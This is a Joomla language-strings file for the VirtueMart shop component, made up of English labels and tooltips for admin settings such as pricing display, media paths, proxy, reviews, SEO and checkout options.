COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT="Receive vendor mail with recipient address" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT_EXPLAIN="Usually the vendor receives the mail from joomla system email address. If you set this, you'll receive the mail coming as recipient address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER="Recipient address set as Sender, not ReplyTo" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER_EXPLAIN="If set, the mail address of the recipient is set as Sender. If not, the recipient is set as reply address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR="Use the vendor email address" COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR_EXPLAIN="You can use the vendor email address or the one set in the joomla configuration. This setting depends on your selected mailer." COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT="Layout for your home page" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT_TIP="This is the default layout for your homepage" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW="Default number of manufacturer in a row" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW_EXPLAIN="This defines the number of manufacturer in a row.
" COM_VIRTUEMART_ADMIN_CFG_MAX_TEXT_LENGTH_TIP="This is the maximum length of the product description for each feed item. If no value is set, the complete description is sent." COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH="Category Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH_EXPLAIN="URL to the images of the categories (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH="Safe Path" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_EXPLAIN="Path for downloadable goods for sale and your invoices. This path is meant from your file root, not Joomla root. Attention - you must enter an absolute path here and it should (not must) be outside of your domain directory (i.e. httpdocs)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB="Thumbnail url for media to sell" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB_EXPLAIN="The idea is that you can represent your downloadable goods by a self chosen thumbnail, this is usually a normal URL." COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH="Manufacturer Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH_EXPLAIN="URL to the images of the manufacturers" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH="Product Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH_EXPLAIN="URL to the images of the products (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_TITLE="Media Files Settings" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH="Vendor Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH_EXPLAIN="URL to the images of the vendors (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MORE_CORE_SETTINGS="Core Settings" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE="Multilingual shop" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE_EXPLAIN="Activate the multi-language translation system" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND="'no image found' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND_EXPLAIN="This means that there is no image found at the given path" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE="'no image' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE_EXPLAIN="This image will be shown when no product image is available." COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS="Order Status which disables downloads" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS_EXPLAIN="Sets the order status at which the download is disabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS="Order Status which enables download" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS_EXPLAIN="Select the order status at which the shopper is notified about the download via e-mail." COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE="Set the pagination sequence for the List Box" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON="PDF Button" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON_EXPLAIN="Show or Hide the PDF - Button in the Shop" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD="Displays 'Notify Me' instead of 'Add To Cart' button" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT="Do not Display Product" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN="Do not Display Product, if child products also out of stock" COM_VIRTUEMART_ADMIN_CFG_POOS_NONE="Products Out of Stock are orderable, no special action" COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME="Products Out of Stock are orderable, and the field 'Availability' below is displayed" COM_VIRTUEMART_ADMIN_CFG_PRICES="Show Following Prices" COM_VIRTUEMART_ADMIN_CFG_PRICES_INCLUDE_TAX="Show Prices including tax?" COM_VIRTUEMART_ADMIN_CFG_PRICES_LABEL="Show Price" COM_VIRTUEMART_ADMIN_CFG_PRICES_ROUNDING="Rounding Digits" COM_VIRTUEMART_ADMIN_CFG_PRICES_TEXT="Show Label" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL="Membergroup to show prices to" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL_TIP="The selected membergroup and all groups with higher permissions will be able to see the product prices" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE="Show call for price, when the price is empty" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE_TIP="For this function you must enable 'Allow ask questions'. This gives the user the possibility to ask you for a price, when you dont like to publish it" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE="Baseprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_EXPLAIN="Depending on where you do your profit/margin calculation it is either your cost price or your calculated price. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR="New baseprice modified by chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR_EXPLAIN="The baseprice gets modified by the chosen product variant. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX="Baseprice with Tax, but without discounts" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX_EXPLAIN="useful to show the old price without discount" COM_VIRTUEMART_ADMIN_CFG_PRICE_CONFIGURATION="Price Configuration" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT="Display variant prices with tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT_EXPLAIN="You can display the extra prices of variants (for exmample in the dropdown) with or without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX="Discounted Price without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT="Discount amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT_EXPLAIN="Useful for the you save X money" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG="Use for swizz CHF the Rappenrundung" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG_TIP="only for the swiss, rounds only the display always to 0.00 or 0.05" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG="Round only display" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG_TIP="We advice to use this option, the rounding is only done on the display, the results are more accurate" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE="Final salesprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_EXPLAIN="This is the price the shopper actually has to pay" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD="Salesprice with discount, but without override" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD_EXPLAIN="This is the same as the salesprice, except you used the product specific override option" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX="Salesprice without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL="Show the price label for packaging?" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL_TIP="When checked, the price label is derived from the products unit and packaging values" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX="Show Tax in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX_TIP="Display Tax details in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT="Tax amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT_EXPLAIN="Shows only the tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE="Unit price" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE_EXPLAIN="A unit price for products sold in units, for example in meter, liter, kilograms" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD="Baseprice modificator" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD_EXPLAIN="The modificator of the baseprice due the chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB="Pricing" COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB="Product Order Settings" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW="Default number of products in a row" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW_EXPLAIN="This defines the number of products in a row.
" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT="Product layout" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT_EXPLAIN="This is the default layout for displaying product details." COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS="Proxy password" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS_TIP="If the proxy requires authentication please fill in the correct password here." COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT="Proxy Port" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT_TIP="The port used for communication with the proxy server (mostly 80 or 8080)." COM_VIRTUEMART_ADMIN_CFG_PROXY_SETTINGS="Global Proxy Settings" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL="URL of the proxy server" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL_TIP="Example" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER="Proxy username" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER_TIP="If the proxy requires authentication please fill in your username here." COM_VIRTUEMART_ADMIN_CFG_RATING="Enable Rating System for" COM_VIRTUEMART_ADMIN_CFG_RATING_EXPLAIN="If enabled, you allow shoppers to see the product rating." COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED="Registered" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW="Show Rating" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL="To Everybody" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_EXPLAIN="If enabled, you allow shoppers to rate the products." COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE="None" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED="To Registered Users" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS="Rows for recent" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS_EXPL="This defines the number of rows for recent products." COM_VIRTUEMART_ADMIN_CFG_REVIEW="Enable Review System for" COM_VIRTUEMART_ADMIN_CFG_REVIEW_EXPLAIN="If enabled, you allow shoppers to rate products and write reviews about them.
" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH="Comment Maximum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH_TIP="This is the maximum amount of characters that can be written by a shopper in a comment." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH="Comment Minimum Length" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH_TIP="This is the amount of characters that MUST at least be written by a shopper before the review can be submitted." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL="Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT="Shoppers who bought the product" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE="Disabled" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED="To Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW="Show Review" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL="Show to Everybody" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_EXPLAIN="If enabled, you allow shoppers to read the reviews about the products." COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE="Don't show" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED="Show to Registered users" COM_VIRTUEMART_ADMIN_CFG_REVIEW_TITLE="Shopper Review/Rating System" COM_VIRTUEMART_ADMIN_CFG_SEF="SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE="SEO Disabled" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE_TIP="If checked, the SEO is disabled. When not checked, the SEO is enabled." COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE="Enable VirtueMart SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE_TIP="Activate the VirtueMart router.php" COM_VIRTUEMART_ADMIN_CFG_SEO_SETTINGS="SEO Settings" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX="Seo Suffix" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX_TIP="Seo Suffix to add at the end of product URLs" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE="Translate Strings" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE_TIP="If enabled, the URL uses the languages file for the VirtueMart strings in the URL. Otherwise, the URLs are created with default strings." COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID="Use Product and Category IDs" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID_TIP="If enabled, the Product ID, and the Category ID will be added in the URL. Otherwise, the URL contains only the Product name or the Category name" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB="Shopfront" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONT_SETTINGS="Shopfront Settings" COM_VIRTUEMART_ADMIN_CFG_SHOPTAB="Shop" COM_VIRTUEMART_ADMIN_CFG_SHOP_ADVANCED="Advanced Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_EMAILS="Emails Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_LANGUAGES="Languages Settings" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE="Shop is offline?" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_MSG="Offline Message" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_TIP="If you check this, the Shop will display an Offline Message." COM_VIRTUEMART_ADMIN_CFG_SHOP_SETTINGS="Shop Settings" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION="Show footer" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION_EXPLAIN="Displays a powered-by-VirtueMart footer image." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES="Show Categories" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES_TIP="If checked, VirtueMart home page will display the product categories." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY="Show Children Category" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY_EXPLAIN="If checked, Children categories will be displayed in the category view , and Product view." COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED="Show featured" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED_TIP="If checked, VirtueMart home page will display Featured products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST="Show latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST_TIP="If checked, VirtueMart home page will display the latest products" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS="Show Manufacturers" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS_EXPLAIN="If checked, Manufacturers will displayed." COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS="Show Products Out of Stock" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS_EXPLAIN="When enabled, Products that are currently not in Stock are displayed. Otherwise, such Products are hidden." COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES="Show Prices" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES_EXPLAIN="Check to show prices. If using catalogue functionality, some don't want prices to appear on pages." COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT="Show recent" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT_TIP="If checked, VirtueMart home page will display Recent products" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC="Show Store Description" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC_TIP="If checked, VirtueMart home page will display the Store Description." COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN="Show Top ten products" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN_TIP="If checked, VirtueMart home page will display Top ten products" COM_VIRTUEMART_ADMIN_CFG_SSL="Enable SSL for sensitive areas (recommended)" COM_VIRTUEMART_ADMIN_CFG_SSL_EXPLAIN="This forces joomla to use SSL for the links in the cart and the user area. Be sure to use the right joomla settings for the user maintenance, the guest order and the login. Requires the prior installation of an SSL certificate for your domain/IP address" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES="Default Order Status to create an invoice" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES_TIP="Default Order Status to create an invoice. Select also the download status for the emails, to directly send the invoice. Can be overriden by the payment method" COM_VIRTUEMART_ADMIN_CFG_SYSTEMTAB="System" COM_VIRTUEMART_ADMIN_CFG_SYSTEM_SETTINGS="System Settings" COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB="Templates" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT="Thumbnail Image Height" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT_TIP="The target height of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH="Thumbnail Image Width" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH_TIP="The target width of the resized Thumbnail Image." COM_VIRTUEMART_ADMIN_CFG_TITLES="Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TITLES_LBL="Used Titles and Professional Titles" COM_VIRTUEMART_ADMIN_CFG_TOOLS_EXPLAIN="Enable the database Update tool. This tools are done for developers and can break your shop completly. Please use it with caution. " COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS="Rows for Top ten" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS_EXPL="This defines the number of rows for Top ten products." COM_VIRTUEMART_ADMIN_CFG_USER_REGISTRATION_SETTINGS="User Registration Settings" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE="Use only as catalogue" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE_EXPLAIN="If you check this, you disable all cart functionalities." COM_VIRTUEMART_ADMIN_CHECKOUT_OPC="One Page Checkout enabled" COM_VIRTUEMART_ADMIN_CHECKOUT_OPC_TIP="If enabled, the shipment and payment selection will be displayed in the cart view. Note: if you are using 3rd party templates, the template must have implemented that feature." COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER="Allow Administrators to change the current Shopper" COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER_TIP="This option allows administrators to change the current shopper. The user session will be changed to the selected user and the original admin user ID is stored as created_by in the order table. This is usefull if you want to place an order on behalf of your customer in the FE, for which you need full access to the shopper's address(es)." COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED="Only registered users can checkout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED_TIP="This option let only registered users make a checkout, you should have 'On checkout, ask for registration' enabled" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO="Show Terms of Service on the cart/checkout?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO_TIP="Store owners are required by law to inform their shoppers about return and order cancellation policies in most European countries. So this should be enabled in most cases." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES="Show product images" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES_TIP="Show mini thumbnails of the products in the cart, may break your layout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER="On checkout, ask for registration" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER_TIP="During the checkout process, the client can register" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS="Show checkout steps" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS_TIP="Text to display before registration page" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND="Show the Recommend to a friend link?" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND_TIP="When enabled, a link is displayed that allows the shopper to send a recommendation email for a specific product." COM_VIRTUEMART_ADMIN_SHOW_PRINTICON="Show the Print View link?" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON_TIP="When enabled, a link is displayed that opens the current page in a new popup for printing it out." COM_VIRTUEMART_ASK_QUESTION_CAPTCHA="Use ReCaptcha for recommendation and ask a question" COM_VIRTUEMART_ASK_QUESTION_CAPTCHA_TIP="Before you enable this you have to enter your Public Key and Private Key into the Joomla ReCaptcha Plugin basic options. For instructiions how to get those keys please read the plugin description." COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH="Question maximum length" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH_EXPLAIN="Maximum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH="Question minimum length" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH_EXPLAIN="Minimum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_SHOW="Allows to Ask a question" COM_VIRTUEMART_ASK_QUESTION_SHOW_EXPLAIN="When enabled, a link is displayed that opens in a new popup and allows customers to send a question to the vendor" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL="Default category sort order" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field categories are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL="Default product sort order" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field products are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_TITLE="Product Sort Order Settings" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL="Available Sort-by fields" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL_TIP="Choose the Sort-by fields for the browse page. Each one defines a sort method for the product browse page. If you deselect all, the Order-By-Form will not be shown." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL="Available Search Fields" COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL_TIP="Choose the Search-by fields for the browse page. Each one defines a search method for the product browse page. If you deselect all, the Search-Form will not be shown." COM_VIRTUEMART_CFG_ADDITIONAL_IMAGES="Open additional images on main position" COM_VIRTUEMART_CFG_ADDITIONAL_IMAGES_TIP="If enabled, additional images are open on main image position. If disabled, additional images are open direct in lightbox." COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE="Enable content plugins in descriptions?" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE_TIP="If enabled, product and category descriptions are parsed by all published content plugins." COM_VIRTUEMART_CFG_CURRENCY_MODULE="Select a currency converter module" COM_VIRTUEMART_CFG_CURRENCY_MODULE_TIP="This allows you to select a certain currency converter module. Such modules fetch exchange rates from a server and convert one currency into another." COM_VIRTUEMART_CFG_DELDATE_INV="Default delivery date" COM_VIRTUEMART_CFG_DELDATE_INV_TIP="Set here the default delivery date of your invoice. Common is the first option, you can override the used text, or the orderstatus shipped." COM_VIRTUEMART_CFG_ENABLE_FEATURE="Enable this Feature" COM_VIRTUEMART_CFG_FANCY="Use Fancybox" COM_VIRTUEMART_CFG_FANCY_TIP="In case you modded your shop with a lot js, you may stay with facebox, but we suggest fancybox." COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY="Send low stock notification" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY_TIP="Sends a low stock notification if products in stock and booked are lower than the value set in the product edit" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER="Default Order Status to send email to shopper" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR="Default Order Status to send email to vendor" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_PAGSEQ_1="For views with 1 item per row" COM_VIRTUEMART_CFG_PAGSEQ_1_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
Example: 3,5,10,20
Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_2="For 2 items per row" COM_VIRTUEMART_CFG_PAGSEQ_2_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
Example: 6,12,18,30
Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_3="For 3 items per row" COM_VIRTUEMART_CFG_PAGSEQ_3_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
Example: 6,12,18,24
Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_4="For 4 items per row" COM_VIRTUEMART_CFG_PAGSEQ_4_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
Example: 8,24,32,64
Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_5="For 5 items per row" COM_VIRTUEMART_CFG_PAGSEQ_5_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
Example: 15,50,100,150
Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_BE="Backend pagination sequence" COM_VIRTUEMART_CFG_PAGSEQ_BE_TIP="Set a list of numbers separated by commas that will be used in the list box on the backend.
Example: 15,50,100,150
Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_POOS_ENABLE="Action when a Product is Out of Stock" COM_VIRTUEMART_CFG_POOS_ENABLE_EXPLAIN="You can define here, which action should happen, when a product is out of stock" COM_VIRTUEMART_CFG_POPUP_REL="Show related products in the popup" COM_VIRTUEMART_CFG_POPUP_REL_TIP="Showing related products in the add to cart popup can increase your conversion rate" COM_VIRTUEMART_COUPONS_ENABLE="Enable Coupon Usage" COM_VIRTUEMART_COUPONS_ENABLE_EXPLAIN="If you enable the Coupon Usage, you allow shoppers to fill in Coupon Numbers to gain discounts on their purchase." COM_VIRTUEMART_COUPONS_EXPIRE="Default Coupon Lifetime" COM_VIRTUEMART_COUPONS_EXPIRE_EXPLAIN="You can set a default lifetime for coupons here; they will expire the given amount of time after creation. This date can be changed per coupon." COM_VIRTUEMART_COUPONS_REMOVE="Order Status to Delete a Gift Coupon" COM_VIRTUEMART_COUPONS_REMOVE_TIP="Gift coupons will be deleted only for those order status" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS="Latest Products - Number of days to display" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS_EXPLAIN="Number of consecutive days on which latest products are being displayed" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY="Latest Products - Sort order of display" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED="Last created products first" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_EXPLAIN="Sort order of displayed latest products" COM_VIRTUEMART_LIST_LIMIT="Default items per list view" COM_VIRTUEMART_LIST_LIMIT_EXPLAIN="The standard pagination list limit for all listings, back and frontend" COM_VIRTUEMART_LIST_MEDIA="Max items listed displaying media" COM_VIRTUEMART_LIST_MEDIA_TIP="Max items displayed in the listing decide if medias are shown in the list, or not." COM_VIRTUEMART_LLIMIT_INIT_BE="Backend default items per list view" 